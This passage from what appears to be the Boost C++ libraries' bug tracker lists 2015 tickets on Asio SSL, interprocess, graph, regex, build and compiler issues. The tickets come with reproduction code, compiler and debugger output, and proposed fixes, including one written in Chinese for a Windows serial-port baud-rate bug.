There are a couple options to fix this for 'pthread', e.g. using a spinlock or leveraging pthreads_rwlock. I'm happy to provide with an initial patch for this.

#11797: The idiv operator was replaced with itruediv and ifloordiv in Python 3

Mon, 16 Nov 2015 10:28:50 GMT

def(self /= double()) always creates a __idiv__ operator, even in Python 3, which does not support it. Python 3 distinguishes between __itruediv__ and __ifloordiv__, see https://www.python.org/download/releases/3.0/whatsnew/

#11794: SSL context and/or stream valgrind reports conflicting access in libcrypto.so

Fri, 13 Nov 2015 10:03:42 GMT

Creating SSL context and/or stream simultaneously from diferent threads, using io_service that has deferred handlers, or already running, makes valgrind drd tool reporting conflicting accesses in lybcrypto.so

#include <string>
#include <iostream>
#include <boost/asio.hpp>
#include <boost/thread.hpp>
#include <boost/asio/ssl.hpp>
#include "openssl/opensslconf.h"
#include <stdio.h>
#include <pthread.h>
#include "openssl/err.h"
typedef boost::asio::ip::tcp::socket            TSocket;
typedef boost::asio::ssl::stream<TSocket>       TSSLSocket;
typedef boost::asio::ssl::context               TSSLContext;
typedef boost::asio::io_service                 TService;
typedef boost::asio::io_service::work           TWork;
int main()
{
  const unsigned int threads_count=10;
  //Info
  std::cout<<"Open SSL library version="<<OPENSSL_VERSION_TEXT<<std::endl;
#ifdef OPENSSL_THREADS
  std::cout<<"OpenSSL threads enabled"<<std::endl;
#else
  std::cout<<"OpenSSL threads disabled"<<std::endl;
#endif
   //Creating sockets simultaneously in diferent threads
  auto create_ssl_socket=[&]
    {
      TService service;
      //boost::asio::ioservice::work makes bug appear
      TWork work(service);
      TSSLContext context(boost::asio::ssl::context::tlsv1_client);
      TSSLSocket  ssl_socket(service,context);
      service.run();
    };
  for (unsigned i=0; i<=threads_count;i++)
    {
      boost::thread t(create_ssl_socket);
      t.detach();
    }
  do {
    std::cout<<"Press enter to quit..."<<std::endl;
  }
  while (std::cin.get()==0);
  return 0;
}

valgrind  --tool=drd --gen-suppressions=all --first-race-only=yes --read-var-info=yes --num-callers=100 --xml=yes --xml-file=drd.xml ./executale_name

#11793: Build for Intel Xeon Phi fails

evgeny.fiksman@… — Thu, 12 Nov 2015 23:47:36 GMT

Hi,

I'm trying to build the BOOST library for Xeon Phi. It should be simple: using intel tools and providing -mmic flag to the compiler should be sufficient. However, this flag is not provided for the assemebler and linker fails because of wrong object.

I've resolved this issue by modification of build scripts. gcc.jam: line 642 please add $(USER_OPTIONS)

#11787: fusion for_each turns array reference const on msvc

imer@… — Sun, 08 Nov 2015 08:17:14 GMT

On MSVC 2013 (I have not tested any other versions) arrays are always const references, instead of non-const ones. Thus code that needs to modify the array and doesn't have a const overload fails to compile.

I don't know if the issue concerns other parts than for_each

A simple test case is attached

Expected output (as seen when using gcc/clang):

Int
Char [10]

Output using msvc 2013:

Int
Const Char[10]

I have tested it against boost 1.59 and a fresh git clone.

#11785: specializing boost::range_const_iterator has no effect on boost::has_range_iterator

Thu, 05 Nov 2015 11:29:51 GMT

see the following code:

#include <boost/range/has_range_iterator.hpp>
#include <boost/filesystem.hpp>
#include <boost/filesystem/operations.hpp> // specializes range_const_iterator
using ConstDirIter
  = boost::range_const_iterator<boost::filesystem::directory_iterator>::type;
// this compiles
static_assert(
  boost::has_range_const_iterator<
    boost::filesystem::directory_iterator
  >::value,
  "This does not compile!!!"
);

See https://github.com/boostorg/range/pull/40 for a fix.

#11782: OpenSSL SSLv3 methods removed

kurt@… — Mon, 02 Nov 2015 21:13:08 GMT

Hi,

asio/ssl/impl/context.ipp you have code that looks loks like: #if defined(OPENSSL_NO_SSL2)

case context::sslv2: case context::sslv2_client: case context::sslv2_server:

boost::asio::detail::throw_error(

boost::asio::error::invalid_argument, "context");

break;

#else defined(OPENSSL_NO_SSL2)

case context::sslv2:

handle_ = ::SSL_CTX_new(::SSLv2_method()); break;

case context::sslv2_client:

handle_ = ::SSL_CTX_new(::SSLv2_client_method()); break;

case context::sslv2_server:

handle_ = ::SSL_CTX_new(::SSLv2_server_method()); break;

#endif defined(OPENSSL_NO_SSL2)

case context::sslv3:

handle_ = ::SSL_CTX_new(::SSLv3_method()); break;

case context::sslv3_client:

handle_ = ::SSL_CTX_new(::SSLv3_client_method()); break;

case context::sslv3_server:

handle_ = ::SSL_CTX_new(::SSLv3_server_method()); break;

Please do the same for the SSLv3 part but then using OPENSSL_NO_SSL3_METHOD

I've just disabled those SSLv3 methods in Debian.

It would also be nice that you just removed things like TLSv1_1_method() method too, and only use SSLv23_method() (or TLS_method()). Also see ticket #10690.

#11781: b2 install not copying filesystem.hpp or program_options.hpp

gtmalmgren@… — Mon, 02 Nov 2015 00:04:11 GMT

It is very possible I am doing something wrong, but I've been unable to get boost/filesystem.hpp and boost/program_options.hpp to be copied during the installation process with b2...

I've followed the easy setup instructions.

$ cd modular-boost
$ ./bootstrap.sh --prefix=/opt/boost
$ ./b2 stage
...
The Boost C++ Libraries were successfully built!
The following directory should be added to compiler include paths:
    /home/user/Projects/modular-boost
The following directory should be added to linker library paths:
    /home/userProjects/modular-boost/stage/lib
$ sudo ./b2 install --prefix=/opt/boost

Then simply doing an

$ ls /opt/boost/include/boost/filesystem/
config.hpp  convenience.hpp  detail  exception.hpp  fstream.hpp  operations.hpp  path.hpp  path_traits.hpp
$ ls /opt/boost/include/boost/filesystem.hpp
ls: cannot access /opt/boost/include/boost/filesystem.hpp: No such file or directory

I've tried this with boost-1.59.0, boost-1.58.0 and boost-1.57.0, and nothing seems to fix it.

After running ./b2 install should boost/filesystem.hpp be installed in the --prefix location?
If so, how can I get the package headers to install as I expect?

#11779: Boost.Lockfree: Implicit conversion loses integer precision warnings

wise.monkey@… — Sun, 01 Nov 2015 14:38:40 GMT

Xcode Version 7.1 (7B91b)

When using boost::lockfree::queue I get the following implicit conversion warnings:

In file included from /foobar/source/foundation/concurrency/task_queue.cpp:11:
In file included from /foobar/libraries/boost/install.osx/include/boost/lockfree/queue.hpp:21:
In file included from /foobar/libraries/boost/install.osx/include/boost/lockfree/detail/freelist.hpp:23:
In file included from /foobar/libraries/boost/install.osx/include/boost/lockfree/detail/tagged_ptr.hpp:18:
/foobar/libraries/boost/install.osx/include/boost/lockfree/detail/tagged_ptr_ptrcompression.hpp:59:30: warning: implicit conversion loses integer precision: 'int' to 'tag_t' (aka 'unsigned short') [-Wconversion]
        ret.tag[tag_index] = tag;
                           ~ ^~~
/foobar/libraries/boost/install.osx/include/boost/lockfree/detail/tagged_ptr_ptrcompression.hpp:78:13: note: in instantiation of member function 'boost::lockfree::detail::tagged_ptr<boost::lockfree::queue<std::__1::packaged_task<void ()> *, boost::parameter::void_, boost::parameter::void_, boost::parameter::void_>::node>::pack_ptr' requested here
        ptr(pack_ptr(p, t))
            ^
In file included from /foobar/source/foundation/concurrency/task_queue.cpp:11:
/foobar/libraries/boost/install.osx/include/boost/lockfree/queue.hpp:202:15: note: in instantiation of member function 'boost::lockfree::detail::tagged_ptr<boost::lockfree::queue<std::__1::packaged_task<void ()> *, boost::parameter::void_, boost::parameter::void_, boost::parameter::void_>::node>::tagged_ptr' requested here
        head_(tagged_node_handle(0, 0)),
              ^
/foobar/source/foundation/concurrency/task_queue.cpp:40:29: note: in instantiation of member function 'boost::lockfree::queue<std::__1::packaged_task<void ()> *, boost::parameter::void_, boost::parameter::void_, boost::parameter::void_>::queue' requested here
   TaskQueueContext(void) : Queue(128) {}
}}}                            ^

#11777: Doing async reads appears to do spurrious calls to recvmsg that return EAGAIN

Fri, 30 Oct 2015 23:45:23 GMT

In running an strace on a program that runs many threads, each controlling many streams, we see the following pattern when looking at one of the threads:

epoll_wait(31, ..., 128, -1) = 46 recvmsg(4114, ..., 0) = 2892 recvmsg(4114, ..., 0) = -1 EAGAIN recvmsg(3700, ..., 0) = 16768 recvmsg(3700, ..., 0) = -1 EAGAIN and so on for all 46 sockets.

When doing an strace -c on the process, where the bulk (90+%) of the threads are related to these sockets, I see 60% of the time in 27624 calls to write (we read data, process it, and write it to another socket), 34% for 52153 calls to recvmsg (of which 24526 are ERRORS), and 6% are in 4668 calls to epoll_wait.

We are noticing that the bulk of the applications time is system time when monitoring with the times() system call. Calling system calls that return immediately with errors is a good way to cause this, especially if there are buffers that are mapped or tested for validity before the EAGAIN check is done.

Looking at the release notes for subsequent versions doesn't indicate a fix towards this issue.

Unfortunately, the programs are proprietary, and the data streams are proprietary streams on our customers' networks.

If the epoll uses edge triggered events, you will get a notification if the first read was a partial, so you don't need to do the extra read.

Even though this is an optimization, this is causing us a major performance issue on a large number of machines, thus, the Showstopper severity.

#11776: Effective way to find all regex matches in large file

der-storch-85@… — Fri, 30 Oct 2015 09:20:12 GMT

Finding all regexes in a file via boost::regex_iterator is a very complicated task as you can normally not load the whole file into a buffer (could be too large).

A possible solution is presented in the documentation of regular expressions in section Partial Matches, see the second example.

Unfortunately, it is not correct: Consider a file with content "12abc", a regex "[a-z]+", and a buffer size of 4. This would result in the matches ab and c, but should be abc. The first match is not partial and touches the end of the buffer. Increasing the buffer size does not solve the problem in general, and with more complex regexes it even gets worse. Another example: same as earlier except with regex "[a-z]{2,}" (i. e. words with at least two letters), what results in one match ab, but should be abc.

The easiest solution seems to be to add a new match flag (“range_incomplete” or “input_incomplete” (?)), that checks if the beginning of the current match and the end of the buffer build a partial or full match. In that case this “match” should be marked to the user as possibly incomplete (e. g. by the already existing member sub_match::matched). There probably exist better solutions.

If you do not want to or cannot follow this feature request, I ask you at least to update the discussed 2nd example in the partial matches section. Thanks!

#11775: Documentation points wrong folder

villasv@… — Thu, 29 Oct 2015 21:20:27 GMT

In the getting started guide, this information is outdated. At least on my computer, the correct folder was C:\Program Files\boost\boost_1_59_0\stage\lib. Thankfully the build process was explicit about that.

6.1   Link From Within the Visual Studio IDE
Starting with the header-only example project we created earlier:
1.Right-click example in the Solution Explorer pane and select Properties from the resulting pop-up menu
2.In Configuration Properties > Linker > Additional Library Directories, enter the path to the Boost binaries, e.g. '''C:\Program Files\boost\boost_1_59_0\lib\'''.
3.From the Build menu, select Build Solution.
skip to the next step

#11774: Extract try_executing_one, reschedule_until to a more specific reentrant executor interface.

viboes — Thu, 29 Oct 2015 13:12:35 GMT

#11773: Extract close/closed to a more specific shutdonw-executor interface.

viboes — Thu, 29 Oct 2015 13:11:31 GMT

#11771: Type error in has_member_finish_edge with CLR

Thu, 29 Oct 2015 10:14:21 GMT

When including depth_first_search.hpp in a project that compiles with CLR support in VS2015 the preprocessor macro: BOOST_TTI_HAS_MEMBER_FUNCTION(finish_edge) produces code that doesn't compile. When compiling the following error is thrown

Error C2664 'boost::type_traits::no_type boost::detail::has_member_function_finish_edge_detail_hcmf<BOOST_TTI_DETAIL_TP_T>::chkt<has_member_function_finish_edge_detail_hcmf<BOOST_TTI_DETAIL_TP_T>::cl_type<BOOST_TTI_DETAIL_TP_T>::type>(...)': cannot convert argument 1 from 'nullptr' to '...'

I am including a minimal example showing the problem

#11767: More -Wunused-local-typedef warnings when building Boost 1.55.0 with Apple LLVM version 7.0.0 (clang-700.1.76)

christopher.dawes@… — Wed, 28 Oct 2015 09:04:33 GMT

This relates to ticket 8980 which was fixed for g++ I've checked the code for 1.59 and it looks still the same issue there. I would recommend that line 58:

# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 8)) || (__GNUC__ > 4)

is changed to

# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 8)) || (__GNUC__ > 4) || __clang__

Certainly this removes the errors from my machine but i've been unable to ascertain whether or not this would cause massive issues on other versions of llvm or indeed how to use macros to get the version of llvm in use.

#11761: boost/graph/kamada_kawai_spring_layout.hpp: many indexes out of range ?

anonymous — Tue, 27 Oct 2015 16:09:09 GMT

[boost_1_59_0/boost/graph/kamada_kawai_spring_layout.hpp:110]: (error) Array 'mat[2][2]' index mat[1][2] out of bounds.

static Vec solve(double mat[2][2], Vec rhs) {

double denom = mat[0][0] * (mat[1][1] * mat[2][2] - mat[2][1] * mat[1][2])

mat[1][0] * (mat[0][1] * mat[2][2] - mat[2][1] * mat[0][2]) + mat[2][0] * (mat[0][1] * mat[1][2] - mat[1][1] * mat[0][2]);

#11760: libs/xpressive/perf/regex_comparison.hpp:84: bad if test ?

anonymous — Tue, 27 Oct 2015 16:04:53 GMT

[boost_1_59_0/libs/xpressive/perf/regex_comparison.hpp:84]: (style) Same expression on both sides of '<'.

Source code is

if((factor >= 0) && (factor < factor))

factor = factor;

Maybe this code should be deleted ?

#11757: ptr_list no longer compiles in msvc2013

anonymous — Tue, 27 Oct 2015 12:31:00 GMT

This code does no longer compile with 1.59.0 but did with 1.55.0 (using MSVC 2013)

#include "boost/ptr_container/ptr_list.hpp"
class MyClass {
public:
    MyClass() {}
};
int main(int argc, char* argv[])
{
    typedef boost::ptr_list< MyClass > tMyList;
    tMyList theList;
    theList.resize(42, NULL);
}

this is the output:

cl boost_ptr_list.cpp
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.40629 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.
boost_ptr_list.cpp
boost/ptr_container/detail/void_ptr_iterator.hpp(104) : error C2676: binary '+=' : 'std::_List_iterator<std::_List_val<std::_List_simple_types<void *>>>' does not define this operator or a conversion to a type acceptable to the pre
defined operator
        C:\Projects\AE16.0\boost\boost/ptr_container/detail/void_ptr_iterator.hpp(103) : while compiling class template member function 'boost::void_ptr_iterator<std::_List_iterator<std::_List_val<std::_List_simple_types<void *>>>,MyClass> &boost::void_ptr_iterator<std::_List_iterator<std::_List_val<std::_List_simple_types<void *>>>,MyClass>::operator +=(__w64 int)'
        C:\Projects\AE16.0\boost\boost/next_prior.hpp(73) : see reference to function template instantiation 'boost::void_ptr_iterator<std::_List_iterator<std::_List_val<std::_List_simple_types<void *>>>,MyClass> &boost::void_ptr_iterator<std::_List_iterator<std::_List_val<std::_List_simple_types<void *>>>,MyClass>::operator +=(__w64 int)' being compiled
        C:\Projects\AE16.0\boost\boost/ptr_container/ptr_sequence_adapter.hpp(535) : see reference to class template instantiation 'boost::void_ptr_iterator<std::_List_iterator<std::_List_val<std::_List_simple_types<void *>>>,MyClass>' being compiled
        C:\Projects\AE16.0\boost\boost/ptr_container/ptr_sequence_adapter.hpp(531) : while compiling class template member function 'void boost::ptr_sequence_adapter<T,std::list<void *,Allocator>,CloneAllocator>::resize(unsigned int,MyClass *)'
        with
        [
            T=MyClass
,            Allocator=std::allocator<void *>
,            CloneAllocator=boost::heap_clone_allocator
        ]
        boost_ptr_list.cpp(12) : see reference to function template instantiation 'void boost::ptr_sequence_adapter<T,std::list<void *,Allocator>,CloneAllocator>::resize(unsigned int,MyClass *)' being compiled
        with
        [
            T=MyClass
,            Allocator=std::allocator<void *>
,            CloneAllocator=boost::heap_clone_allocator
        ]
        C:\Projects\AE16.0\boost\boost/ptr_container/ptr_list.hpp(35) : see reference to class template instantiation 'boost::ptr_sequence_adapter<T,std::list<void *,Allocator>,CloneAllocator>' being compiled
        with
        [
            T=MyClass
,            Allocator=std::allocator<void *>
,            CloneAllocator=boost::heap_clone_allocator
        ]
        boost_ptr_list.cpp(11) : see reference to class template instantiation 'boost::ptr_list<MyClass,boost::heap_clone_allocator,std::allocator<void *>>' being compiled

#11755: b2 ignores MAKEFLAGS and '-j' option isn't documented in b2 --help

krichter@… — Mon, 26 Oct 2015 14:50:27 GMT

./b2 ignores MAKEFLAGS and -j option isn't documented in ./b2 --help.

experienced with boost-1.59.0-126-g919988b

#11754: Fix building when OpenSSL is built with no-ssl3 option

Sun, 25 Oct 2015 09:35:31 GMT

Software using Boost ASIO libraries will fail to build when the OpenSSL libraries have been built with the no-ssl3 option.

Attached patch fixes this, duplicating the handling of OpenSSL built with no-ssl2 option.

#11753: cannot execute bootstrap - Failed to build Boost.build engine

aamirlodhi66@… — Sat, 24 Oct 2015 07:28:00 GMT

Sir!

I want to use boost/interprocess/shared_memory_object.hpp libraries for which I downloaded the Boost 1.59.0. First of all I am not clear how to install it for Visual Studio 6 as well as Visual Studio 2010. I need the short method for installation for Microsoft Visual Studio 6 and .net i.e. 2010 (for winxp and win7). Moreover, when I have tried to install it for MSVS 6 in win7, I got error message when I tried to execute bootstrap.bat. it generated error mentioned in the subject.

Kindly help on immediate basis.

#11752: basic_null_device::read returns 0 but -1 is expected

Sat, 24 Oct 2015 01:41:50 GMT

Documentation:

basic_null_device::read
"Returns -1. Enabled if Mode refines input."

Code:

template<typename Ch, typename Mode>
class basic_null_device {
public:
    ...
    std::streamsize read(Ch*, std::streamsize) { return 0; }
    ...

#11749: mpi::broadcast problem

Fri, 23 Oct 2015 09:47:29 GMT

The following problem is not present in 1.55 and present in 1.58, 1.59. Download Eigen library version 3.2.6 (or package present on number of Linux distribution) http://eigen.tuxfamily.org/index.php?title=Main_Page

With he example attached I have a serialization error in boost/archive/detail/iserializer.hpp:236:17: error: no matching function for call to 'operator delete'

(T::operator delete)(t, sizeof(T));

It seems to indicate that a destructor is missing but the problem was not present before (with the same eigen version) Error on clang 3.5-6 , gcc 4.9, 5.2

Best regards

#11748: boost::asio::buffer() overload for string_ref and const char pointer (c-string)

oliora@… — Thu, 22 Oct 2015 20:22:13 GMT

There are many overloads of boost::asio::buffer() including ones for std::string and POD array, but there are no overloads for const char * and for boost::basic_string_ref<char, ...>. I propose to add such overloads.

#11747: boost::asio::buffer() overload for string_ref and const char pointer (c-string)

oliora@… — Thu, 22 Oct 2015 20:21:57 GMT

#11746: boost::asio::buffer() overload for string_ref and const char pointer (c-string)

oliora@… — Thu, 22 Oct 2015 20:21:32 GMT

#11745: memory-mapped file documentation heavily implies that we cannot use a Filesystem path

Thu, 22 Oct 2015 16:23:17 GMT

According to some Stack Overflow answers and the headers for iostreams, it appears that it is possible to create a mapped_file_source, mapped_file_sync, etc. using a filesystem v3 path. The documentation makes it appear that we can only use std::string, thus not properly allowing for Unicode in paths. If this is not documented because it's not complete, then I'll file something about iostreams needing support for unicode paths, but I've found some Stack Overflow answers saying it works as far back as 1.48. I'm assuming the docs just need updating.

#11743: json parser cannot be compiled with -DNDEBUG

Wed, 21 Oct 2015 13:11:55 GMT

In include/boost/property_tree/detail/json_parser/standard_callbacks.hpp, standard_callbacks::new_tree make use of assert when error conditions are detected.

Unfortunately, when -DNDEBUG is used during compilation, assert calls disappear, thus making the code of standard_callbacks::new_tree incorrect.

We spot the problem thanks to the option -Werror=return-type that fired when hitting the end of standard_callbacks::new_tree seeing that there was not return statement.

#11735: A* Out of Range Error on 2D grid if width or height is 1

willi+boost@… — Sat, 17 Oct 2015 20:38:40 GMT

astar_search fails an out of range assertion for grid_graphs (or filtered_graphs thereof) if they have a size of 1 along one dimension.

I understand that in this case the dimension is redundant, but still...

Only tested with 2D grids in both 1.58 and 1.59.

#11732: Use CreateEventW instead of CreateEvent

Thu, 15 Oct 2015 10:23:02 GMT

We use boost.asio together with the Poco library.

Poco has decided to #undef some common Windows API wrappers to avoid weird symbol decoration, among them CreateEvent.

The Windows convention is to have a #define for Function, which expands to FunctionA for non-Unicode builds and FunctionW for Unicode builds.

Since asio does not appear to use named events (always passes 0 for the event name), it doesn't matter which one it uses. On Windows, the -A functions are always wrappers for the -W functions, so it makes sense to use the wide-char variant (should save at least a jump.)

So I suggest that boost.asio should use CreateEventW consistently instead of CreateEvent.

#11731: iostreams classes do not support C++11 move semantics

Thu, 15 Oct 2015 08:38:48 GMT

At least some iostreams classes do not support C++11 move semantics. Attempts to "move-construct" them result in compiler errors. Such classes include but are probably not limited to filtering_istream.

#include <boost/iostreams/filtering_stream.hpp>

struct Foo {

Foo(Foo&& o)

: f(std::move(o.f)) { }

boost::iostreams::filtering_istream f;

};

#11730: Extend interprocess::message_queue to be lazy initializable

Thu, 15 Oct 2015 07:56:30 GMT

Both shared_memory_object and mapped_region support lazy initialization, so I think message_queue should support it also. Specifically, the following methods are added to message_queue_t: 1) Default constructor 2) Move constructor/assignment operator 3) swap() 4) is_open() (naming convention follows std::basic_filebuf::is_open()) Submitted as a pull request on GitHub: https://github.com/boostorg/interprocess/pull/20

#11729: Boost interprocess fails to initialize on long-running Windows machines

martin.apel@… — Thu, 15 Oct 2015 07:56:10 GMT

This bug report is similar to #9767, but the effect described there is only part of the problem and the workaround described there may not always be applicable.

On Windows Boost Interprocess tries to determine the last boot time by looking at the system event log. This may fail, if the machine has been running a longer time or if it has only been suspended instead of rebooting most of the time. The effect is, that Boost crashes, if the boot time cannot be determined.

The workaround may not always be applicable, because a directory has to be hardcoded at compile time, which may not be accessible on all machines, where the resulting program is ever run.

So I think that instead of the workaround described in #9767 a real solution should be implemented for this case.

#11728: interprocess::message_queue deadlocked when process exists unexpectedly on Windows

Thu, 15 Oct 2015 07:37:45 GMT

Suppose two processes communicate via a message_queue. On Windows operating systems, when either of the two exists unexpectedly (e.g., via a crash or a kill process command), the other gets deadlocked. Attached is code that reproduces the deadlock reliably. First, launch the server process (reader), and then the client process (writer). Kill the server, and the client gets deadlocked within try_send().

#11724: managed_shared_memory constructor crash

john.saxton@… — Tue, 13 Oct 2015 20:22:58 GMT

If my system has zero shared memory available and I invoke the managed_shared_memory constructor, the constructor will crash. I am able to consistently reproduce this on Centos 6.5 using g++ 4.4.7 and Boost v1.59.

My repro case is very Linux-specific: 1: rm /dev/shm/foobar 2: dd if=/dev/zero of=/dev/shm/fill (the command will terminate once all shared memory on the system is exhausted) 3: Build the attached C++ file (I used g++ -g -I/path/to/boost/ -lpthread -lrt shm.cpp) 4: Run the resulting executable, it should crash

(gdb) where
#0  0x0000000000402186 in boost::interprocess::ipcdetail::atomic_cas32 (mem=0x7ffff7ee3000, with=1, cmp=0) at /home/elemental/boost_1_5_9/boost_1_59_0/boost/interprocess/detail/atomic.hpp:141
#1  0x000000000040389c in boost::interprocess::ipcdetail::managed_open_or_create_impl<boost::interprocess::shared_memory_object, 16ul, true, false>::priv_open_or_create<boost::interprocess::ipcdetail::create_open_func<boost::interprocess:
:ipcdetail::basic_managed_memory_impl<char, boost::interprocess::rbtree_best_fit<boost::interprocess::mutex_family, boost::interprocess::offset_ptr<void, long, unsigned long, 0u>, 0ul>, boost::interprocess::iset_index, 16ul> > > (this=
    0x7fffffffe0f8, type=boost::interprocess::ipcdetail::DoCreate, id=@0x7fffffffe090, size=1048576, mode=boost::interprocess::read_write, addr=0x0, perm=..., construct_func=...)
    at /home/elemental/boost_1_5_9/boost_1_59_0/boost/interprocess/detail/managed_open_or_create_impl.hpp:409
#2  0x0000000000403163 in boost::interprocess::ipcdetail::managed_open_or_create_impl<boost::interprocess::shared_memory_object, 16ul, true, false>::managed_open_or_create_impl<boost::interprocess::ipcdetail::create_open_func<boost::inter
process::ipcdetail::basic_managed_memory_impl<char, boost::interprocess::rbtree_best_fit<boost::interprocess::mutex_family, boost::interprocess::offset_ptr<void, long, unsigned long, 0u>, 0ul>, boost::interprocess::iset_index, 16ul> > >
    (this=0x7fffffffe0f8, id=@0x7fffffffe090, size=1048576, mode=boost::interprocess::read_write, addr=0x0, construct_func=..., perm=...)
    at /home/elemental/boost_1_5_9/boost_1_59_0/boost/interprocess/detail/managed_open_or_create_impl.hpp:184
#3  0x0000000000402f2b in boost::interprocess::basic_managed_shared_memory<char, boost::interprocess::rbtree_best_fit<boost::interprocess::mutex_family, boost::interprocess::offset_ptr<void, long, unsigned long, 0u>, 0ul>, boost::interprocess::iset_index>::basic_managed_shared_memory (this=0x7fffffffe0f0, name=0x4077fb "foobar", size=1048576, addr=0x0, perm=...) at /home/elemental/boost_1_5_9/boost_1_59_0/boost/interprocess/managed_shared_memory.hpp:106
#4  0x00000000004016a2 in main (argc=1, argv=0x7fffffffe228) at shm.cpp:23

#11723: Memory leak (and assertion failed) in r_c_shortest_paths.hpp

a.santini@… — Tue, 13 Oct 2015 15:19:06 GMT

In the following 2-years old thread, a memory leak was experienced when using r_c_shortest_paths of the boost graph library. Jeremiah Willcock added a bunch of assertions to the code, to help identify the problem.

https://groups.google.com/forum/#!topic/boost-list/W1muJiw85pA

I think I now have a reproducible version of this, which I believe might be a bug. Here is the gist:

https://gist.github.com/alberto-santini/32c19530dcefb784d0f2

It contains:

1) graph.txt which contains a dump of the graph that exposes the problem 2) boost_bug.cpp which is the code used to build the graph from file and do the labelling 3) terminal_output.txt which contains the command used to compile and what happens when running the code

It has been tested on Mac OS X 10.11 with GCC 5.2 and Boost 1.58. The programme doesn't necessary trigger the assertion at each run. There are runs in which it completes successfully, runs in which it segfaults without triggering any assertion and times in which it's aborted by the failed assertion.

The failed assertion is:

Assertion failed: (p_cur_label->b_is_valid), function r_c_shortest_paths_dispatch, file /usr/local/include/boost/graph/r_c_shortest_paths.hpp, line 472.

#11721: boost::asio::serial_port bug in win10

admin@… — Tue, 13 Oct 2015 07:57:35 GMT

在最近写一些串口操作的程序时使用了 boost::asio::serial_port 来操作串口但当尝试打开串口的时候出现了错误。下面是我的测试代码：

boost::asio::io_service _io_service;
const std::string devname = "COM3";
try
{
        boost::asio::serial_port serial(_io_service);
        serial.open(devname);// throw error every times.
        if (serial.is_open()) {
                std::cout << devname << " serial open successed." << std::endl;
        }
        else {
                std::cout << devname << " serial open failed!" << std::endl;
        }
}
catch (const std::exception& ex)
{
        std::cout << ex.what() << std::endl;// GetLastError() == 87
}

每次都会出现错误87。即 GetLastError() 的结果为 87 于是跟进代码里面调试追到了 win_iocp_serial_port_service::open 函数里

win_iocp_serial_port_service::open 函数的实现如下：

boost::system::error_code win_iocp_serial_port_service::open(
        win_iocp_serial_port_service::implementation_type& impl,
        const std::string& device, boost::system::error_code& ec)
{
        if (is_open(impl))
        {
                ec = boost::asio::error::already_open;
                return ec;
        }
        std::string name = (device[0] == '\\') ? device : "\\\\.\\" + device;
        ::HANDLE handle = ::CreateFileA(name.c_str(),
                GENERIC_READ | GENERIC_WRITE, 0, 0,
                OPEN_EXISTING, FILE_FLAG_OVERLAPPED, 0);
        if (handle == INVALID_HANDLE_VALUE)
        {
                DWORD last_error = ::GetLastError();
                ec = boost::system::error_code(last_error,
                        boost::asio::error::get_system_category());
                return ec;
        }
        using namespace std;
        ::DCB dcb;
        memset(&dcb, 0, sizeof(DCB));
        dcb.DCBlength = sizeof(DCB);
        if (!::GetCommState(handle, &dcb))
        {
                DWORD last_error = ::GetLastError();
                ::CloseHandle(handle);
                ec = boost::system::error_code(last_error,
                        boost::asio::error::get_system_category());
                return ec;
        }
        dcb.fBinary = TRUE;
        dcb.fDsrSensitivity = FALSE;
        dcb.fNull = FALSE;
        dcb.fAbortOnError = FALSE;
        if (!::SetCommState(handle, &dcb))
        {
                DWORD last_error = ::GetLastError();// lee: error is here!!!
                ::CloseHandle(handle);
                ec = boost::system::error_code(last_error,
                        boost::asio::error::get_system_category());
                return ec;
        }
        ::COMMTIMEOUTS timeouts;
        timeouts.ReadIntervalTimeout = 1;
        timeouts.ReadTotalTimeoutMultiplier = 0;
        timeouts.ReadTotalTimeoutConstant = 0;
        timeouts.WriteTotalTimeoutMultiplier = 0;
        timeouts.WriteTotalTimeoutConstant = 0;
        if (!::SetCommTimeouts(handle, &timeouts))
        {
                DWORD last_error = ::GetLastError();
                ::CloseHandle(handle);
                ec = boost::system::error_code(last_error,
                        boost::asio::error::get_system_category());
                return ec;
        }
        if (handle_service_.assign(impl, handle, ec))
                ::CloseHandle(handle);
        return ec;
}

发现每次在第一次 SetCommState 的时候总是会报错并离开。于是查看了前面通过 GetCommState 获取到的 dcb 的值。发现 dcb.BaudRate == 0 时无法 SetCommState 成功也就是说在有些设备中获取不到 dcb.BaudRate 这个值。

下面是我自己的解决办法：

在 win_iocp_serial_port_service.ipp 文件的88行左右添加

if (dcb.BaudRate == 0) dcb.BaudRate = 115200;

修改后的 win_iocp_serial_port_service::open 函数完整代码如下：

boost::system::error_code win_iocp_serial_port_service::open(
        win_iocp_serial_port_service::implementation_type& impl,
        const std::string& device, boost::system::error_code& ec)
{
        if (is_open(impl))
        {
                ec = boost::asio::error::already_open;
                return ec;
        }
        std::string name = (device[0] == '\\') ? device : "\\\\.\\" + device;
        ::HANDLE handle = ::CreateFileA(name.c_str(),
                GENERIC_READ | GENERIC_WRITE, 0, 0,
                OPEN_EXISTING, FILE_FLAG_OVERLAPPED, 0);
        if (handle == INVALID_HANDLE_VALUE)
        {
                DWORD last_error = ::GetLastError();
                ec = boost::system::error_code(last_error,
                        boost::asio::error::get_system_category());
                return ec;
        }
        using namespace std;
        ::DCB dcb;
        memset(&dcb, 0, sizeof(DCB));
        dcb.DCBlength = sizeof(DCB);
        if (!::GetCommState(handle, &dcb))
        {
                DWORD last_error = ::GetLastError();
                ::CloseHandle(handle);
                ec = boost::system::error_code(last_error,
                        boost::asio::error::get_system_category());
                return ec;
        }
        dcb.fBinary = TRUE;
        dcb.fDsrSensitivity = FALSE;
        dcb.fNull = FALSE;
        dcb.fAbortOnError = FALSE;
        if (dcb.BaudRate == 0) dcb.BaudRate = 115200; // add lee 2015.10.10. 解决dcb.BaudRate为0时无法成功SetCommState的BUG
        if (!::SetCommState(handle, &dcb))
        {
                DWORD last_error = ::GetLastError();
                ::CloseHandle(handle);
                ec = boost::system::error_code(last_error,
                        boost::asio::error::get_system_category());
                return ec;
        }
        ::COMMTIMEOUTS timeouts;
        timeouts.ReadIntervalTimeout = 1;
        timeouts.ReadTotalTimeoutMultiplier = 0;
        timeouts.ReadTotalTimeoutConstant = 0;
        timeouts.WriteTotalTimeoutMultiplier = 0;
        timeouts.WriteTotalTimeoutConstant = 0;
        if (!::SetCommTimeouts(handle, &timeouts))
        {
                DWORD last_error = ::GetLastError();
                ::CloseHandle(handle);
                ec = boost::system::error_code(last_error,
                        boost::asio::error::get_system_category());
                return ec;
        }
        if (handle_service_.assign(impl, handle, ec))
                ::CloseHandle(handle);
        return ec;
}

测试环境

说明	参数
操作系统	Windows10 专业版 x64
